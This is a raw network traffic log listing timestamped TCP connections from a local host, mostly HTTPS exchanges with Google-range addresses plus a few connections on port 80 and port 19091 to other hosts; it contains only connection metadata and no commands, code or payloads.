Dec 30, 2024 04:59:28.128839970 CET	443	49856	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.128900051 CET	49856	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.129172087 CET	49856	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.129182100 CET	443	49856	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.132530928 CET	443	49850	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.132575989 CET	443	49850	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.132601976 CET	49850	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.132621050 CET	443	49850	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.132632017 CET	49850	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.132662058 CET	49850	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.132667065 CET	443	49850	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.132675886 CET	443	49850	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.132716894 CET	49850	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.133266926 CET	49850	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.133275032 CET	443	49850	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.133594990 CET	49857	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.133614063 CET	443	49857	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.133662939 CET	49857	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.133883953 CET	49857	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.133898973 CET	443	49857	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.669467926 CET	443	49855	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.670120955 CET	443	49855	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.670150042 CET	49855	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.670186043 CET	443	49855	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.670289993 CET	443	49854	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.670291901 CET	49855	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.670397997 CET	49854	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.670929909 CET	443	49854	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.671055079 CET	49854	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.673485994 CET	49855	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.673492908 CET	443	49855	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.673698902 CET	443	49855	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.673991919 CET	49855	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.675189972 CET	49854	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.675190926 CET	49855	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.675195932 CET	443	49854	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.675441980 CET	443	49854	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.675668955 CET	49854	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.676817894 CET	49854	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.715354919 CET	443	49855	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.719356060 CET	443	49854	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.731848955 CET	443	49857	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.732480049 CET	49857	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.733325005 CET	49857	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.733325005 CET	49857	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.733334064 CET	443	49857	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.733350039 CET	443	49857	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.756095886 CET	443	49856	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.756267071 CET	49856	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.756957054 CET	49856	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.756963968 CET	443	49856	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.757189989 CET	49856	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.757193089 CET	443	49856	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.035923958 CET	443	49855	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.035974026 CET	443	49855	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.036036015 CET	49855	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.036036015 CET	49855	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.036555052 CET	49858	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.036555052 CET	49855	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.036577940 CET	443	49858	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.036592960 CET	443	49855	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.036669016 CET	49858	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.036928892 CET	49858	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.036943913 CET	443	49858	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.142577887 CET	443	49854	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.142667055 CET	49854	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.142750978 CET	49854	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.142781019 CET	443	49854	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.142925024 CET	443	49854	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.142992973 CET	49854	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.142992973 CET	49854	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.143452883 CET	49861	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.143502951 CET	443	49861	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.143650055 CET	49861	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.143785000 CET	49861	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.143800974 CET	443	49861	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.281228065 CET	443	49856	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.281266928 CET	443	49856	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.281305075 CET	49856	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.281316042 CET	443	49856	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.281343937 CET	49856	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.281358004 CET	443	49856	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.281367064 CET	49856	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.281440973 CET	49856	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.281769037 CET	443	49857	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.281810999 CET	443	49857	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.281882048 CET	443	49857	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.281917095 CET	49857	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.282082081 CET	49856	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.282090902 CET	443	49856	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.282126904 CET	49857	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.282429934 CET	49862	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.282433987 CET	49857	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.282448053 CET	443	49857	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.282499075 CET	443	49862	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.282810926 CET	49863	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.282830000 CET	443	49863	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.282864094 CET	49862	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.282919884 CET	49863	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.283061981 CET	49862	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.283087015 CET	443	49862	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.283256054 CET	49863	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.283262968 CET	443	49863	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.675601006 CET	443	49858	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.675693989 CET	49858	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.676237106 CET	443	49858	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.676290989 CET	49858	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.677890062 CET	49858	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.677898884 CET	443	49858	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.678102970 CET	443	49858	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.678162098 CET	49858	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.678509951 CET	49858	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.719343901 CET	443	49858	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.780824900 CET	443	49861	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.780890942 CET	49861	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.781569958 CET	443	49861	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.781616926 CET	49861	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.784092903 CET	49861	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.784104109 CET	443	49861	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.784336090 CET	443	49861	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.784379005 CET	49861	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.784737110 CET	49861	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:29.827333927 CET	443	49861	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:29.930393934 CET	443	49863	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.930461884 CET	49863	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.930737972 CET	49863	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.930742025 CET	443	49863	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.931576014 CET	443	49862	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.931660891 CET	49862	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.931907892 CET	49862	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.931935072 CET	443	49862	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.932359934 CET	49863	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.932363987 CET	443	49863	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:29.933372021 CET	49862	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:29.933384895 CET	443	49862	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:30.047719955 CET	443	49858	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.047776937 CET	49858	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.047794104 CET	443	49858	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.047830105 CET	49858	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.047868013 CET	49858	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.047899008 CET	443	49858	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.048002958 CET	443	49858	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.048044920 CET	49858	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.048062086 CET	49858	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.048274994 CET	49864	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.048309088 CET	443	49864	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.048362970 CET	49864	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.048537016 CET	49864	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.048551083 CET	443	49864	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.175343990 CET	443	49861	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.175400019 CET	49861	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.175416946 CET	443	49861	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.175457954 CET	49861	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.175507069 CET	49861	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.175539970 CET	443	49861	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.175712109 CET	443	49861	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.175776958 CET	49861	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.175776958 CET	49861	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.175945997 CET	49865	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.175985098 CET	443	49865	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.176042080 CET	49865	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.176196098 CET	49865	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.176211119 CET	443	49865	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.344238997 CET	443	49863	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:30.344278097 CET	443	49863	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:30.344329119 CET	49863	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:30.344338894 CET	443	49863	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:30.344372988 CET	443	49863	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:30.344383001 CET	49863	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:30.344407082 CET	49863	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:30.344938993 CET	49863	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:30.344948053 CET	443	49863	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:30.345339060 CET	49866	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:30.345366955 CET	443	49866	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:30.345429897 CET	49866	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:30.345592022 CET	49866	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:30.345603943 CET	443	49866	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:30.489883900 CET	80	49793	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:30.489991903 CET	49793	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:30.504971981 CET	443	49862	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:30.505027056 CET	443	49862	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:30.505110979 CET	49862	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:30.505167961 CET	443	49862	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:30.505194902 CET	443	49862	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:30.505243063 CET	49862	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:30.506056070 CET	49862	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:30.506088018 CET	443	49862	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:30.506553888 CET	49867	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:30.506603956 CET	443	49867	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:30.506831884 CET	49867	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:30.507015944 CET	49867	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:30.507030964 CET	443	49867	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:30.674369097 CET	443	49864	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.674427986 CET	49864	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.675000906 CET	443	49864	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.675052881 CET	49864	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.678044081 CET	49864	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.678050995 CET	443	49864	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.678246021 CET	443	49864	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.678296089 CET	49864	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.678649902 CET	49864	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.723331928 CET	443	49864	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.734644890 CET	49865	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.734690905 CET	49866	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:30.734714985 CET	49867	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:30.735030890 CET	49868	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.735047102 CET	443	49868	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.735101938 CET	49868	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.736053944 CET	49868	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:30.736066103 CET	443	49868	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:30.750044107 CET	80	49774	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:30.751869917 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:31.048491955 CET	443	49864	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.048557043 CET	49864	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.048569918 CET	443	49864	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.048640966 CET	49864	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.048696041 CET	49864	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.048724890 CET	443	49864	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.048787117 CET	49864	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.049215078 CET	49869	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.049217939 CET	49870	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:31.049247026 CET	443	49870	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:31.049282074 CET	443	49869	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.049446106 CET	49870	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:31.049654961 CET	49869	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.049654961 CET	49869	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.049700022 CET	49870	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:31.049714088 CET	443	49870	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:31.049734116 CET	443	49869	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.331412077 CET	443	49868	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.331479073 CET	49868	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.332417965 CET	443	49868	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.332470894 CET	49868	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.334052086 CET	49868	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.334060907 CET	443	49868	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.334290028 CET	443	49868	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.334346056 CET	49868	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.334676981 CET	49868	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.379331112 CET	443	49868	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.647254944 CET	443	49869	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.647344112 CET	49869	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.647910118 CET	443	49869	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.647974014 CET	49869	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.649486065 CET	49869	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.649514914 CET	443	49869	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.649734020 CET	443	49869	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.649914980 CET	49869	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.649980068 CET	443	49870	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:31.650038004 CET	49870	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:31.650214911 CET	49869	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.653201103 CET	49870	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:31.653209925 CET	443	49870	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:31.653418064 CET	443	49870	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:31.653527975 CET	49870	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:31.653815985 CET	49870	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:31.691359997 CET	443	49869	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.699343920 CET	443	49870	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:31.705354929 CET	443	49868	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.705418110 CET	49868	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.705482006 CET	443	49868	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.705482006 CET	49868	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.705527067 CET	443	49868	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.705528021 CET	49868	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.705569983 CET	49868	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.705976009 CET	49872	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:31.706017017 CET	443	49872	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:31.706079960 CET	49873	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.706100941 CET	49872	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:31.706104994 CET	443	49873	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.706160069 CET	49873	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.706316948 CET	49872	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:31.706331015 CET	443	49872	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:31.706367970 CET	49873	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:31.706382990 CET	443	49873	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:31.953300953 CET	49785	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:31.958189964 CET	19091	49785	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:32.014708996 CET	443	49869	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.014771938 CET	49869	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.014833927 CET	443	49869	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.014893055 CET	49869	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.014976978 CET	49869	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.015008926 CET	443	49869	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.015043974 CET	443	49869	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.015095949 CET	49869	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.015131950 CET	49869	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.015585899 CET	49874	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.015625954 CET	443	49874	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.015805960 CET	49874	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.016041994 CET	49874	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.016057014 CET	443	49874	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.066148996 CET	443	49870	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.066198111 CET	443	49870	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.066200972 CET	49870	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.066212893 CET	443	49870	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.066258907 CET	49870	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.066266060 CET	443	49870	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.066304922 CET	443	49870	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.066349030 CET	49870	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.066870928 CET	49870	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.066881895 CET	443	49870	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.067255020 CET	49875	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.067281961 CET	443	49875	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.067394972 CET	49875	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.067599058 CET	49875	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.067610025 CET	443	49875	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.247920036 CET	19091	49785	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:32.296967983 CET	49785	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:32.301372051 CET	443	49873	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.301431894 CET	49873	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.301810026 CET	49873	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.301817894 CET	443	49873	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.301958084 CET	49873	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.301963091 CET	443	49873	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.306071997 CET	443	49872	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.306185007 CET	49872	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.306466103 CET	49872	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.306476116 CET	443	49872	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.306580067 CET	49872	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.306583881 CET	443	49872	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.357688904 CET	49785	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:32.362449884 CET	19091	49785	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:32.616349936 CET	443	49874	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.616405964 CET	49874	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.616910934 CET	49874	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.616923094 CET	443	49874	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.618623972 CET	49874	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.618628979 CET	443	49874	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.669749022 CET	443	49875	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.669809103 CET	49875	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.670109034 CET	49875	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.670115948 CET	443	49875	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.670397043 CET	49875	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.670401096 CET	443	49875	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.671298981 CET	443	49873	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.671359062 CET	49873	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.671370983 CET	443	49873	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.671416998 CET	49873	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.671443939 CET	443	49873	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.671458006 CET	49873	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.671477079 CET	443	49873	142.250.181.238	192.168.2.4
